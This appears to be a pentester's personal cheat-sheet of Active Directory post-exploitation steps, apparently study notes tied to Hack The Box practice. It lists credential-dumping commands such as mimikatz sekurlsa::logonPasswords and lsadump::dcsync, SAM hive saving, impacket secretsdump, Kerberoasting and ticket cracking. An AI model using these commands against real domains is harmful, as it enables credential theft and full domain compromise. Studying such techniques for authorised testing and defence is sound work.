Post Exploitation

Monday, 19 September 2022 7:35 PM

Active Directory:

1. mimikatz ***sekurlsa::logonPasswords***
2. mimikatz ***kerberos****::****tickets***
3. mimikatz ***kerberos****::****list /export***
4. ***reg save hklm\sam*** (system/security)
5. **Sharphound**
6. AD **tools collection**: https://github.com/expl0itabl3/Toolies
7. **neo4j**
8. **Kirbi2john**/ hashcat for **ticket cracking**
9. **GMSAPassword**
10. impacket-**psexec**
11. **Crackmapexec dump SAM** with *--sam*
12. impacket-**secretsdump** with **psexec** format to **dump sam** and **ntds** directly
13. impacket-**secretsdump** with **SAM and SECURITY hive**
14. Find **kerberoastable** accounts with bloodhound
15. **DCSync** attack with WriteDacl/Exchange Windows Permissions permission, use powerview (HTB Forest, iammainul medium)
16. **DCSync** with **local admin priv**, we can use **lsadump::dcsync /user:target_user mimikatz**